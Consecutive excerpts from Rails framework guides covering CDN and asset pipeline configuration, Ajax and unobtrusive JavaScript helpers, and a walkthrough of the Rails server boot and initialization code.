A common pattern for using a CDN is to set your production application as the "origin" server. This means when a browser requests an asset from the CDN and there is a cache miss, it will grab the file from your server on the fly and then cache it. For example if you are running a Rails application on example.com and have a CDN configured at mycdnsubdomain.fictional-cdn.com, then when a request is made to mycdnsubdomain.fictional- cdn.com/assets/smile.png, the CDN will query your server once at example.com/assets/smile.png and cache the request. The next request to the CDN that comes in to the same URL will hit the cached copy. When the CDN can serve an asset directly the request never touches your Rails server. Since the assets from a CDN are geographically closer to the browser, the request is faster, and since your server doesn't need to spend time serving assets, it can focus on serving application code as fast as possible.

4.4.1 Set up a CDN to Serve Static Assets

To set up your CDN you have to have your application running in production on the internet at a publicly available URL, for example example.com. Next you'll need to sign up for a CDN service from a cloud hosting provider. When you do this you need to configure the "origin" of the CDN to point back at your website example.com, check your provider for documentation on configuring the origin server.

The CDN you provisioned should give you a custom subdomain for your application such as mycdnsubdomain.fictional-cdn.com (note fictional-cdn.com is not a valid CDN provider at the time of this writing). Now that you have configured your CDN server, you need to tell browsers to use your CDN to grab assets instead of your Rails server directly. You can do this by configuring Rails to set your CDN as the asset host instead of using a relative path. To set your asset host in Rails, you need to set config.action_controller.asset_host in config/environments/production.rb:

config.action_controller.asset_host = 'mycdnsubdomain.fictional-cdn.com'

You only need to provide the "host", this is the subdomain and root domain, you do not need to specify a protocol or "scheme" such as http:// or https://. When a web page is requested, the protocol in the link to your asset that is generated will match how the webpage is accessed by default.

You can also set this value through an environment variable to make running a staging copy of your site easier:

config.action_controller.asset_host = ENV['CDN_HOST']

Note: You would need to set CDN_HOST on your server to mycdnsubdomain .fictional-cdn.com for this to work.

Once you have configured your server and your CDN when you serve a webpage that has an asset:

<%= asset_path('smile.png') %>

Instead of returning a path such as /assets/smile.png (digests are left out for readability). The URL generated will have the full path to your CDN.

http://mycdnsubdomain.fictional-cdn.com/assets/smile.png

If the CDN has a copy of smile.png it will serve it to the browser and your server doesn't even know it was requested. If the CDN does not have a copy it will try to find it at the "origin" example.com/assets/smile.png and then store it for future use.

If you want to serve only some assets from your CDN, you can use custom :host option your asset helper, which overwrites value set in config.action_controller.asset_host.

<%= asset_path 'image.png', host: 'mycdnsubdomain.fictional-cdn.com' %>

4.4.2 Customize CDN Caching Behavior

A CDN works by caching content. If the CDN has stale or bad content, then it is hurting rather than helping your application. The purpose of this section is to describe general caching behavior of most CDNs, your specific provider may behave slightly differently.

4.4.2.1 CDN Request Caching

While a CDN is described as being good for caching assets, in reality caches the entire request. This includes the body of the asset as well as any headers. The most important one being Cache-Control which tells the CDN (and web browsers) how to cache contents. This means that if someone requests an asset that does not exist /assets/i-dont-exist.png and your Rails application returns a 404, then your CDN will likely cache the 404 page if a valid Cache-Control header is present.

4.4.2.2 CDN Header Debugging

One way to check the headers are cached properly in your CDN is by using curl. You can request the headers from both your server and your CDN to verify they are the same:

$ curl -I http://www.example/assets/application-
d0e099e021c95eb0de3615fd1d8c4d83.css
HTTP/1.1 200 OK
Server: Cowboy
Date: Sun, 24 Aug 2014 20:27:50 GMT
Connection: keep-alive
Last-Modified: Thu, 08 May 2014 01:24:14 GMT
Content-Type: text/css
Cache-Control: public, max-age=2592000
Content-Length: 126560
Via: 1.1 vegur

Versus the CDN copy.

$ curl -I http://mycdnsubdomain.fictional-cdn.com/application-
d0e099e021c95eb0de3615fd1d8c4d83.css
HTTP/1.1 200 OK Server: Cowboy Last-
Modified: Thu, 08 May 2014 01:24:14 GMT Content-Type: text/css
Cache-Control:
public, max-age=2592000
Via: 1.1 vegur
Content-Length: 126560
Accept-Ranges:
bytes
Date: Sun, 24 Aug 2014 20:28:45 GMT
Via: 1.1 varnish
Age: 885814
Connection: keep-alive
X-Served-By: cache-dfw1828-DFW
X-Cache: HIT
X-Cache-Hits:
68
X-Timer: S1408912125.211638212,VS0,VE0

Check your CDN documentation for any additional information they may provide such as X-Cache or for any additional headers they may add.

4.4.2.3 CDNs and the Cache-Control Header

The cache control header is a W3C specification that describes how a request can be cached. When no CDN is used, a browser will use this information to cache contents. This is very helpful for assets that are not modified so that a browser does not need to re-download a website's CSS or JavaScript on every request. Generally we want our Rails server to tell our CDN (and browser) that the asset is "public", that means any cache can store the request. Also we commonly want to set max-age which is how long the cache will store the object before invalidating the cache. The max-age value is set to seconds with a maximum possible value of 31536000 which is one year. You can do this in your rails application by setting

config.public_file_server.headers = {
'Cache-Control' => 'public, max-age=31536000'
}

Now when your application serves an asset in production, the CDN will store the asset for up to a year. Since most CDNs also cache headers of the request, this Cache-Control will be passed along to all future browsers seeking this asset, the browser then knows that it can store this asset for a very long time before needing to re-request it.

4.4.2.4 CDNs and URL based Cache Invalidation

Most CDNs will cache contents of an asset based on the complete URL. This means that a request to

http://mycdnsubdomain.fictional-cdn.com/assets/smile-123.png

Will be a completely different cache from

http://mycdnsubdomain.fictional-cdn.com/assets/smile.png

If you want to set far future max-age in your Cache-Control (and you do), then make sure when you change your assets that your cache is invalidated. For example when changing the smiley face in an image from yellow to blue, you want all visitors of your site to get the new blue face. When using a CDN with the Rails asset pipeline config.assets.digest is set to true by default so that each asset will have a different file name when it is changed. This way you don't have to ever manually invalidate any items in your cache. By using a different unique asset name instead, your users get the latest asset.

5 Customizing the Pipeline

5.1 CSS Compression

One of the options for compressing CSS is YUI. The YUI CSS compressor provides minification.

The following line enables YUI compression, and requires the yui-compressor gem.

config.assets.css_compressor = :yui

The other option for compressing CSS if you have the sass-rails gem installed is

config.assets.css_compressor = :sass

5.2 JavaScript Compression

Possible options for JavaScript compression are :closure, :uglifier and :yui. These require the use of the closure-compiler, uglifier or yui-compressor gems, respectively.

The default Gemfile includes uglifier. This gem wraps UglifyJS (written for NodeJS) in Ruby. It compresses your code by removing white space and comments, shortening local variable names, and performing other micro-optimizations such as changing if and else statements to ternary operators where possible.

The following line invokes uglifier for JavaScript compression.

config.assets.js_compressor = :uglifier

You will need an ExecJS supported runtime in order to use uglifier. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system.

5.3 Serving GZipped version of assets

By default, gzipped version of compiled assets will be generated, along with the non-gzipped version of assets. Gzipped assets help reduce the transmission of data over the wire. You can configure this by setting the gzip flag.

config.assets.gzip = false # disable gzipped assets generation

5.4 Using Your Own Compressor

The compressor config settings for CSS and JavaScript also take any object. This object must have a compress method that takes a string as the sole argument and it must return a string.

class Transformer
def compress(string)
do_something_returning_a_string(string)
end
end

To enable this, pass a new object to the config option in application.rb:

config.assets.css_compressor = Transformer.new

5.5 Changing the assets Path

The public path that Sprockets uses by default is /assets.

This can be changed to something else:

config.assets.prefix = "/some_other_path"

This is a handy option if you are updating an older project that didn't use the asset pipeline and already uses this path or you wish to use this path for a new resource.

5.6 X-Sendfile Headers

The X-Sendfile header is a directive to the web server to ignore the response from the application, and instead serve a specified file from disk. This option is off by default, but can be enabled if your server supports it. When enabled, this passes responsibility for serving the file to the web server, which is faster. Have a look at send_file on how to use this feature.

Apache and NGINX support this option, which can be enabled in config/environments/production.rb:

# config.action_dispatch.x_sendfile_header = "X-Sendfile" # for Apache
# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for NGINX

If you are upgrading an existing application and intend to use this option, take care to paste this configuration option only into production.rb and any other environments you define with production behavior (not application.rb).

For further details have a look at the docs of your production web server: - Apache - NGINX

6 Assets Cache Store

By default, Sprockets caches assets in tmp/cache/assets in development and production environments. This can be changed as follows:

config.assets.configure do |env|
env.cache = ActiveSupport::Cache.lookup_store(:memory_store,
{ size: 32.megabytes })
end

To disable the assets cache store:

config.assets.configure do |env|
env.cache = ActiveSupport::Cache.lookup_store(:null_store)
end

7 Adding Assets to Your Gems

Assets can also come from external sources in the form of gems.

A good example of this is the jquery-rails gem which comes with Rails as the standard JavaScript library gem. This gem contains an engine class which inherits from Rails::Engine. By doing this, Rails is informed that the directory for this gem may contain assets and the app/assets, lib/assets and vendor/assets directories of this engine are added to the search path of Sprockets.

8 Making Your Library or Gem a Pre-Processor

As Sprockets uses Tilt as a generic interface to different templating engines, your gem should just implement the Tilt template protocol. Normally, you would subclass Tilt::Template and reimplement the prepare method, which initializes your template, and the evaluate method, which returns the processed source. The original source is stored in data. Have a look at Tilt::Template sources to learn more.

module BangBang
class Template < ::Tilt::Template
def prepare
# Do any initialization here
end

# Adds a "!" to original template.
def evaluate(scope, locals, &block)
"#{data}!"
end
end
end

Now that you have a Template class, it's time to associate it with an extension for template files:

Sprockets.register_engine '.bang', BangBang::Template

9 Upgrading from Old Versions of Rails

There are a few issues when upgrading from Rails 3.0 or Rails 2.x. The first is moving the files from public/ to the new locations. See Asset Organization above for guidance on the correct locations for different file types.

Next will be avoiding duplicate JavaScript files. Since jQuery is the default JavaScript library from Rails 3.1 onwards, you don't need to copy jquery.js into app/assets and it will be included automatically.

The third is updating the various environment files with the correct default options.

In application.rb:

# Version of your assets, change this if you want to expire all your assets
config.assets.version = '1.0'

# Change the path that assets are served from config.assets.prefix = "/assets"

In development.rb:

# Expands the lines which load the assets
config.assets.debug = true

And in production.rb:

# Choose the compressors to use (if any)
config.assets.js_compressor = :uglifier
# config.assets.css_compressor = :yui

# Don't fallback to assets pipeline if a precompiled asset is missed
config.assets.compile = false

# Generate digests for assets URLs. This is planned for deprecation.
config.assets.digest = true

# Precompile additional assets (application.js, application.css, and all
# non-JS/CSS are already added)
# config.assets.precompile += %w( search.js )

Rails 4 and above no longer set default config values for Sprockets in test.rb, so test.rb now requires Sprockets configuration. The old defaults in the test environment are: config.assets.compile = true, config.assets.compress = false, config.assets.debug = false and config.assets.digest = false.

The following should also be added to your Gemfile:

gem 'sass-rails',   "~> 3.2.3"
gem 'coffee-rails', "~> 3.2.1"
gem 'uglifier'

Working with JavaScript in Rails —...

1 An Introduction to Ajax

In order to understand Ajax, you must first understand what a web browser does normally.

When you type http://localhost:3000 into your browser's address bar and hit 'Go,' the browser (your 'client') makes a request to the server. It parses the response, then fetches all associated assets, like JavaScript files, stylesheets and images. It then assembles the page. If you click a link, it does the same process: fetch the page, fetch the assets, put it all together, show you the results. This is called the 'request response cycle.'

JavaScript can also make requests to the server, and parse the response. It also has the ability to update information on the page. Combining these two powers, a JavaScript writer can make a web page that can update just parts of itself, without needing to get the full page data from the server. This is a powerful technique that we call Ajax.

Rails ships with CoffeeScript by default, and so the rest of the examples in this guide will be in CoffeeScript. All of these lessons, of course, apply to vanilla JavaScript as well.

As an example, here's some CoffeeScript code that makes an Ajax request using the jQuery library:

$.ajax(url: "/test").done (html) ->
$("#results").append html

This code fetches data from "/test", and then appends the result to the div with an id of results.

Rails provides quite a bit of built-in support for building web pages with this technique. You rarely have to write this code yourself. The rest of this guide will show you how Rails can help you write websites in this way, but it's all built on top of this fairly simple technique.

2 Unobtrusive JavaScript

Rails uses a technique called "Unobtrusive JavaScript" to handle attaching JavaScript to the DOM. This is generally considered to be a best-practice within the frontend community, but you may occasionally read tutorials that demonstrate other ways.

Here's the simplest way to write JavaScript. You may see it referred to as 'inline JavaScript':

<a href="#" onclick="this.style.backgroundColor='#990000'">Paint it red</a>

When clicked, the link background will become red. Here's the problem: what happens when we have lots of JavaScript we want to execute on a click?

<a href="#" onclick="this.style.backgroundColor='#009900';this.style.color='#FFFFFF';">Paint it green</a>

Awkward, right? We could pull the function definition out of the click handler, and turn it into CoffeeScript:

@paintIt = (element, backgroundColor, textColor) ->
element.style.backgroundColor = backgroundColor
if textColor?
element.style.color = textColor

And then on our page:

<a href="#" onclick="paintIt(this, '#990000')">Paint it red</a>

That's a little bit better, but what about multiple links that have the same effect?

<a href="#" onclick="paintIt(this, '#990000')">Paint it red</a>
<a href="#" onclick="paintIt(this, '#009900', '#FFFFFF')">Paint it green</a>
<a href="#" onclick="paintIt(this, '#000099', '#FFFFFF')">Paint it blue</a>

Not very DRY, eh? We can fix this by using events instead. We'll add a data-* attribute to our link, and then bind a handler to the click event of every link that has that attribute:

@paintIt = (element, backgroundColor, textColor) ->
element.style.backgroundColor = backgroundColor
if textColor?
element.style.color = textColor

$ ->
$("a[data-background-color]").click (e) ->
e.preventDefault()

backgroundColor = $(this).data("background-color")
textColor = $(this).data("text-color")
paintIt(this, backgroundColor, textColor)

<a href="#" data-background-color="#990000">Paint it red</a>
<a href="#" data-background-color="#009900" data-text-color="#FFFFFF">Paint it green</a>
<a href="#" data-background-color="#000099" data-text-color="#FFFFFF">Paint it blue</a>

We call this 'unobtrusive' JavaScript because we're no longer mixing our JavaScript into our HTML. We've properly separated our concerns, making future change easy. We can easily add behavior to any link by adding the data attribute. We can run all of our JavaScript through a minimizer and concatenator. We can serve our entire JavaScript bundle on every page, which means that it'll get downloaded on the first page load and then be cached on every page after that. Lots of little benefits really add up.

The Rails team strongly encourages you to write your CoffeeScript (and JavaScript) in this style, and you can expect that many libraries will also follow this pattern.

3 Built-in Helpers

Rails provides a bunch of view helper methods written in Ruby to assist you in generating HTML. Sometimes, you want to add a little Ajax to those elements, and Rails has got your back in those cases.

Because of Unobtrusive JavaScript, the Rails "Ajax helpers" are actually in two parts: the JavaScript half and the Ruby half.

Unless you have disabled the Asset Pipeline, rails.js provides the JavaScript half, and the regular Ruby view helpers add appropriate tags to your DOM.

3.1 form_for

form_for is a helper that assists with writing forms. form_for takes a :remote option. It works like this:

<%= form_for(@article, remote: true) do |f| %>
...
<% end %>

This will generate the following HTML:

<form accept-charset="UTF-8" action="/articles" class="new_article" data-remote="true" id="new_article" method="post">
...
</form>

Note the data-remote="true". Now, the form will be submitted by Ajax rather than by the browser's normal submit mechanism.

You probably don't want to just sit there with a filled out <form>, though. You probably want to do something upon a successful submission. To do that, bind to the ajax:success event. On failure, use ajax:error. Check it out:

$(document).ready ->
$("#new_article").on("ajax:success", (e, data, status, xhr) ->
$("#new_article").append xhr.responseText
).on "ajax:error", (e, xhr, status, error) ->
$("#new_article").append "<p>ERROR</p>"

Obviously, you'll want to be a bit more sophisticated than that, but it's a start. You can see more about the events in the jquery-ujs wiki.

3.2 form_tag

form_tag is very similar to form_for. It has a :remote option that you can use like this:

<%= form_tag('/articles', remote: true) do %>
...
<% end %>

This will generate the following HTML:

<form accept-charset="UTF-8" action="/articles" data-remote="true" method="post">
...
</form>

Everything else is the same as form_for. See its documentation for full details.

3.3 link_to

link_to is a helper that assists with generating links. It has a :remote option you can use like this:

<%= link_to "an article", @article, remote: true %>

which generates

<a href="/articles/1" data-remote="true">an article</a>

You can bind to the same Ajax events as form_for. Here's an example. Let's assume that we have a list of articles that can be deleted with just one click. We would generate some HTML like this:

<%= link_to "Delete article", @article, remote: true, method: :delete %>

and write some CoffeeScript like this:

$ ->
$("a[data-remote]").on "ajax:success", (e, data, status, xhr) ->
alert "The article was deleted."

3.4 button_to

button_to is a helper that helps you create buttons. It has a :remote option that you can call like this:

<%= button_to "An article", @article, remote: true %>

this generates

<form action="/articles/1" class="button_to" data-remote="true" method="post">
<input type="submit" value="An article" />
</form>

Since it's just a <form>, all of the information on form_for also applies.

4 Server-Side Concerns

Ajax isn't just client-side, you also need to do some work on the server side to support it. Often, people like their Ajax requests to return JSON rather than HTML. Let's discuss what it takes to make that happen.

4.1 A Simple Example

Imagine you have a series of users that you would like to display and provide a form on that same page to create a new user. The index action of your controller looks like this:

class UsersController < ApplicationController
def index
@users = User.all
@user = User.new
end
# ...

The index view (app/views/users/index.html.erb) contains:

<b>Users</b>

<ul id="users">
<%= render @users %>
</ul>

<br>

<%= form_for(@user, remote: true) do |f| %>
<%= f.label :name %><br>
<%= f.text_field :name %>
<%= f.submit %>
<% end %>

The app/views/users/_user.html.erb partial contains the following:

<li><%= user.name %></li>

The top portion of the index page displays the users. The bottom portion provides a form to create a new user.

The bottom form will call the create action on the UsersController. Because the form's remote option is set to true, the request will be posted to the UsersController as an Ajax request, looking for JavaScript. In order to serve that request, the create action of your controller would look like this:

# app/controllers/users_controller.rb
# ......
def create
@user = User.new(params[:user])

respond_to do |format|
if @user.save
format.html { redirect_to @user, notice: 'User was successfully created.' }
format.js   {}
format.json { render json: @user, status: :created, location: @user }
else
format.html { render action: "new" }
format.json { render json: @user.errors, status: :unprocessable_entity }
end
end
end

Notice the format.js in the respond_to block; that allows the controller to respond to your Ajax request. You then have a corresponding app/views/users/create.js.erb view file that generates the actual JavaScript code that will be sent and executed on the client side.

$("<%= escape_javascript(render @user) %>").appendTo("#users");

5 Turbolinks

Rails ships with the Turbolinks library, which uses Ajax to speed up page rendering in most applications.

5.1 How Turbolinks Works

Turbolinks attaches a click handler to all <a> on the page. If your browser supports PushState, Turbolinks will make an Ajax request for the page, parse the response, and replace the entire <body> of the page with the <body> of the response. It will then use PushState to change the URL to the correct one, preserving refresh semantics and giving you pretty URLs.

The only thing you have to do to enable Turbolinks is have it in your Gemfile, and put //= require turbolinks in your JavaScript manifest, which is usually app/assets/javascripts/application.js.

If you want to disable Turbolinks for certain links, add a data-turbolinks="false" attribute to the tag:

<a href="..." data-turbolinks="false">No turbolinks here</a>.

5.2 Page Change Events

When writing CoffeeScript, you'll often want to do some sort of processing upon page load. With jQuery, you'd write something like this:

$(document).ready ->
alert "page has loaded!"

However, because Turbolinks overrides the normal page loading process, the event that this relies on will not be fired. If you have code that looks like this, you must change your code to do this instead:

$(document).on "turbolinks:load", ->
alert "page has loaded!"

For more details, including other events you can bind to, check out the Turbolinks README.

6 Other Resources

Here are some helpful links to help you learn even more:

- jquery-ujs wiki

- jquery-ujs list of external articles

- Rails 3 Remote Links and Forms: A Definitive Guide

- Railscasts: Unobtrusive JavaScript

- Railscasts: Turbolinks

The Rails Initialization Process —...

1 Launch!

Let's start to boot and initialize the app. A Rails application is usually started by running rails console or rails server.

1.1 railties/exe/rails

The rails in the command rails server is a ruby executable in your load path. This executable contains the following lines:

version = ">= 0"
load Gem.bin_path('railties', 'rails', version)

If you try out this command in a Rails console, you would see that this loads railties/exe/rails. A part of the file railties/exe/rails.rb has the following code:

require "rails/cli"

The file railties/lib/rails/cli in turn calls Rails::AppLoader.exec_app.

1.2 railties/lib/rails/app_loader.rb

The primary goal of the function exec_app is to execute your app's bin/rails. If the current directory does not have a bin/rails, it will navigate upwards until it finds a bin/rails executable. Thus one can invoke a rails command from anywhere inside a rails application.

For rails server the equivalent of the following command is executed:

$ exec ruby bin/rails server

1.3 bin/rails

This file is as follows:

#!/usr/bin/env ruby
APP_PATH = File.expand_path('../../config/application', __FILE__)
require_relative '../config/boot'
require 'rails/commands'

The APP_PATH constant will be used later in rails/commands. The config/boot file referenced here is the config/boot.rb file in our application which is responsible for loading Bundler and setting it up.

1.4 config/boot.rb

config/boot.rb contains:

ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)

require 'bundler/setup' # Set up gems listed in the Gemfile.

In a standard Rails application, there's a Gemfile which declares all dependencies of the application. config/boot.rb sets ENV['BUNDLE_GEMFILE'] to the location of this file. If the Gemfile exists, then bundler/setup is required. The require is used by Bundler to configure the load path for your Gemfile's dependencies.

A standard Rails application depends on several gems, specifically:

- actionmailer

- actionpack

- actionview

- activemodel

- activerecord

- activesupport

- activejob

- arel

- builder

- bundler

- erubis

- i18n

- mail

- mime-types

- rack

- rack-cache

- rack-mount

- rack-test

- rails

- railties

- rake

- sqlite3

- thor

- tzinfo

1.5 rails/commands.rb

Once config/boot.rb has finished, the next file that is required is rails/commands, which helps in expanding aliases. In the current case, the ARGV array simply contains server which will be passed over:

ARGV << '--help' if ARGV.empty?

aliases = {
"g"  => "generate",
"d"  => "destroy",
"c"  => "console",
"s"  => "server",
"db" => "dbconsole",
"r"  => "runner",
"t"  => "test"
}

command = ARGV.shift
command = aliases[command] || command

require 'rails/commands/commands_tasks'

Rails::CommandsTasks.new(ARGV).run_command!(command)

As you can see, an empty ARGV list will make Rails show the help snippet.

If we had used s rather than server, Rails would have used the aliases defined here to find the matching command.

1.6 rails/commands/commands_tasks.rb

When one types a valid Rails command, run_command! a method of the same name is called. If Rails doesn't recognize the command, it tries to run a Rake task of the same name.

COMMAND_WHITELIST = %w(plugin generate destroy console server dbconsole application runner new version help)

def run_command!(command)
command = parse_command(command)

if COMMAND_WHITELIST.include?(command)
send(command)
else
run_rake_task(command)
end
end

With the server command, Rails will further run the following code:

def set_application_directory!
Dir.chdir(File.expand_path('../../', APP_PATH)) unless File.exist?(File.expand_path("config.ru"))
end

def server
set_application_directory!
require_command!("server")

Rails::Server.new.tap do |server|
# We need to require application after the server sets environment,
# otherwise the --environment option given to the server won't propagate.
require APP_PATH
Dir.chdir(Rails.application.root)
server.start
end
end

def require_command!(command)
require "rails/commands/#{command}"
end

This file will change into the Rails root directory (a path two directories up from APP_PATH which points at config/application.rb), but only if the config.ru file isn't found. This then requires rails/commands/server which sets up the Rails::Server class.

require 'fileutils'
require 'optparse'
require 'action_dispatch'
require 'rails'

module Rails
class Server < ::Rack::Server

fileutils and optparse are standard Ruby libraries which provide helper functions for working with files and parsing options.

1.7 actionpack/lib/action_dispatch.rb

Action Dispatch is the routing component of the Rails framework. It adds functionality like routing, session, and common middlewares.

1.8 rails/commands/server.rb

The Rails::Server class is defined in this file by inheriting from Rack::Server. When Rails::Server.new is called, this calls the initialize method in rails/commands/server.rb:

def initialize(*)
super
set_environment
end

Firstly, super is called which calls the initialize method on Rack::Server.

1.9 Rack: lib/rack/server.rb

Rack::Server is responsible for providing a common server interface for all Rack-based applications, which Rails is now a part of.

The initialize method in Rack::Server simply sets a couple of variables:

def initialize(options = nil)
@options = options
@app = options[:app] if options && options[:app]
end

In this case, options will be nil so nothing happens in this method.

After super has finished in Rack::Server, we jump back to rails/commands/server.rb. At this point, set_environment is called within the context of the Rails::Server object and this method doesn't appear to do much at first glance:

def set_environment
ENV["RAILS_ENV"] ||= options[:environment]
end

In fact, the options method here does quite a lot. This method is defined in Rack::Server like this:

def options
@options ||= parse_options(ARGV)
end

Then parse_options is defined like this:

def parse_options(args)
options = default_options

# Don't evaluate CGI ISINDEX parameters.
# http://www.meb.uni-bonn.de/docs/cgi/cl.html
args.clear if ENV.include?("REQUEST_METHOD")

options.merge! opt_parser.parse!(args)
options[:config] = ::File.expand_path(options[:config])
ENV["RACK_ENV"] = options[:environment]
options
end

With the default_options set to this:

def default_options
environment  = ENV['RACK_ENV'] || 'development'
default_host = environment == 'development' ? 'localhost' : '0.0.0.0'

{
:environment => environment,
:pid         => nil,
:Port        => 9292,
:Host        => default_host,
:AccessLog   => [],
:config      => "config.ru"
}
end

There is no REQUEST_METHOD key in ENV so we can skip over that line. The next line merges in the options from opt_parser which is defined plainly in Rack::Server:

def opt_parser
Options.new
end

The class is defined in Rack::Server, but is overwritten in Rails::Server to take different arguments. Its parse! method begins like this:

def parse!(args)
args, options = args.dup, {}

opt_parser = OptionParser.new do |opts|
opts.banner = "Usage: rails server [mongrel, thin, etc] [options]"
opts.on("-p", "--port=port", Integer,
"Runs Rails on the specified port.", "Default: 3000") { |v| options[:Port] = v }
...

This method will set up keys for the options which Rails will then be able to use to determine how its server should run. After initialize has finished, we jump back into rails/server where APP_PATH (which was set earlier) is required.

1.10 config/application

When require APP_PATH is executed, config/application.rb is loaded (recall that APP_PATH is defined in bin/rails). This file exists in your application and it's free for you to change based on your needs.

1.11 Rails::Server#start

After config/application is loaded, server.start is called. This method is defined like this:

def start
print_boot_information
trap(:INT) { exit }
create_tmp_directories
log_to_stdout if options[:log_stdout]

super
...
end

private

def print_boot_information
...
puts "=> Run `rails server -h` for more startup options"
end

def create_tmp_directories
%w(cache pids sockets).each do |dir_to_make|
FileUtils.mkdir_p(File.join(Rails.root, 'tmp', dir_to_make))
end
end

def log_to_stdout
wrapped_app # touch the app so the logger is set up

console = ActiveSupport::Logger.new($stdout)
console.formatter = Rails.logger.formatter
console.level = Rails.logger.level

Rails.logger.extend(ActiveSupport::Logger.broadcast(console))
end

This is where the first output of the Rails initialization happens. This method creates a trap for INT signals, so if you CTRL-C the server, it will exit the process. As we can see from the code here, it will create the tmp/cache, tmp/pids, and tmp/sockets directories. It then calls wrapped_app which is responsible for creating the Rack app, before creating and assigning an instance of ActiveSupport::Logger.

The super method will call Rack::Server.start which begins its definition like this:

def start &blk
if options[:warn]
$-w = true
end

if includes = options[:include]
$LOAD_PATH.unshift(*includes)
end

if library = options[:require]
require library
end

if options[:debug]
$DEBUG = true
require 'pp'
p options[:server]
pp wrapped_app
pp app
end

check_pid! if options[:pid]

# Touch the wrapped app, so that the config.ru is loaded before
# daemonization (i.e. before chdir, etc).
wrapped_app

daemonize_app if options[:daemonize]

write_pid if options[:pid]

trap(:INT) do
if server.respond_to?(:shutdown)
server.shutdown
else
exit
end
end

server.run wrapped_app, options, &blk
end

The interesting part for a Rails app is the last line, server.run. Here we encounter the wrapped_app method again, which this time we're going to explore more (even though it was executed before, and thus memoized by now).

@wrapped_app ||= build_app app

The app method here is defined like so:

def app
@app ||= options[:builder] ? build_app_from_string : build_app_and_options_from_config
end
...
private
def build_app_and_options_from_config
if !::File.exist? options[:config]
abort "configuration #{options[:config]} not found"
end

app, options = Rack::Builder.parse_file(self.options[:config], opt_parser)
self.options.merge! options
app
end

def build_app_from_string
Rack::Builder.new_from_string(self.options[:builder])
end

The options[:config] value defaults to config.ru which contains this:

# This file is used by Rack-based servers to start the application.

require ::File.expand_path('../config/environment', __FILE__)
run <%= app_const %>

The Rack::Builder.parse_file method here takes the content from this config.ru file and parses it using this code:

app = new_from_string cfgfile, config

...

def self.new_from_string(builder_script, file="(rackup)")
eval "Rack::Builder.new {\n" + builder_script + "\n}.to_app",
TOPLEVEL_BINDING, file, 0
end

The initialize method of Rack::Builder will take the block here and execute it within an instance of Rack::Builder. This is where the majority of the initialization process of Rails happens. The require line for config/environment.rb in config.ru is the first to run:

require ::File.expand_path('../config/environment', __FILE__)

1.12 config/environment.rb

This file is the common file required by config.ru (rails server) and Passenger. This is where these two ways to run the server meet; everything before this point has been Rack and Rails setup.

This file begins with requiring config/application.rb:

require File.expand_path('../application', __FILE__)

1.13 config/application.rb

This file requires config/boot.rb:

require File.expand_path('../boot', __FILE__)

But only if it hasn't been required before, which would be the case in rails server but wouldn't be the case with Passenger.

Then the fun begins!

2 Loading Rails

The next line in config/application.rb is:

require 'rails/all'

2.1 railties/lib/rails/all.rb

This file is responsible for requiring all the individual frameworks of Rails:

require "rails"

%w(
active_record/railtie
action_controller/railtie
action_view/railtie
action_mailer/railtie
active_job/railtie
action_cable/engine
rails/test_unit/railtie
sprockets/railtie
).each do |railtie|
begin
require "#{railtie}"
rescue LoadError
end
end

This is where all the Rails frameworks are loaded and thus made available to the application. We won't go into detail of what happens inside each of those frameworks, but you're encouraged to try and explore them on your own.

For now, just keep in mind that common functionality like Rails engines, I18n and Rails configuration are all being defined here.

2.2 Back to config/environment.rb

The rest of config/application.rb defines the configuration for the Rails::Application which will be used once the application is fully initialized. When config/application.rb has finished loading Rails and defined the application namespace, we go back to config/environment.rb. Here, the application is initialized with Rails.application.initialize!, which is defined in rails/application.rb.

2.3 railties/lib/rails/application.rb

The initialize! method looks like this:

def initialize!(group=:default) #:nodoc:
raise "Application has been already initialized." if @initialized
run_initializers(group, self)
@initialized = true
self
end

As you can see, you can only initialize an app once. The initializers are run through the run_initializers method which is defined in railties/lib/rails/initializable.rb:

def run_initializers(group=:default, *args)
return if instance_variable_defined?(:@ran)
initializers.tsort_each do |initializer|
initializer.run(*args) if initializer.belongs_to?(group)
end
@ran = true
end

The run_initializers code itself is tricky. What Rails is doing here is traversing all the class ancestors looking for those that respond to an initializers method. It then sorts the ancestors by name, and runs them. For example, the Engine class will make all the engines available by providing an initializers method on them.

The Rails::Application class, as defined in railties/lib/rails/application.rb defines bootstrap, railtie, and finisher initializers. The bootstrap initializers prepare the application (like initializing the logger) while the finisher initializers (like building the middleware stack) are run last. The railtie initializers are the initializers which have been defined on the Rails::Application itself and are run between the bootstrap and finishers.

After this is done we go back to Rack::Server.

2.4 Rack: lib/rack/server.rb

Last time we left when the app method was being defined:

def app
@app ||= options[:builder] ? build_app_from_string : build_app_and_options_from_config
end
...
private
def build_app_and_options_from_config
if !::File.exist? options[:config]
abort "configuration #{options[:config]} not found"
end

app, options = Rack::Builder.parse_file(self.options[:config], opt_parser)
self.options.merge! options
app
end

def build_app_from_string
Rack::Builder.new_from_string(self.options[:builder])
end

At this point app is the Rails app itself (a middleware), and what happens next is Rack will call all the provided middlewares:

def build_app(app)
middleware[options[:environment]].reverse_each do |middleware|
middleware = middleware.call(self) if middleware.respond_to?(:call)
next unless middleware
klass = middleware.shift
app = klass.new(app, *middleware)
end
app
end

Remember, build_app was called (by wrapped_app) in the last line of Server#start. Here's how it looked like when we left:

server.run wrapped_app, options, &blk

At this point, the implementation of server.run will depend on the server you're using. For example, if you were using Puma, here's what the run method would look like:

...
DEFAULT_OPTIONS = {
:Host => '0.0.0.0',
:Port => 8080,
:Threads => '0:16',
:Verbose => false
}

def self.run(app, options = {})
options  = DEFAULT_OPTIONS.merge(options)

if options[:Verbose]
app = Rack::CommonLogger.new(app, STDOUT)
end

if options[:environment]
ENV['RACK_ENV'] = options[:environment].to_s
end

server   = ::Puma::Server.new(app)
min, max = options[:Threads].split(':', 2)

puts "Puma #{::Puma::Const::PUMA_VERSION} starting..."
puts "* Min threads: #{min}, max threads: #{max}"
puts "* Environment: #{ENV['RACK_ENV']}"
puts "* Listening on tcp://#{options[:Host]}:#{options[:Port]}"

server.add_tcp_listener options[:Host], options[:Port]
server.min_threads = min
server.max_threads = max
yield server if block_given?

begin
server.run.join
rescue Interrupt
puts "* Gracefully stopping, waiting for requests to finish"
server.stop(true)
puts "* Goodbye!"
end

end

We won't dig into the server configuration itself, but this is the last piece of our journey in the Rails initialization process.

This high level overview will help you understand when your code is executed and how, and overall become a better Rails developer. If you still want to know more, the Rails source code itself is probably the best place to go next.

Autoloading and Reloading Constants —...

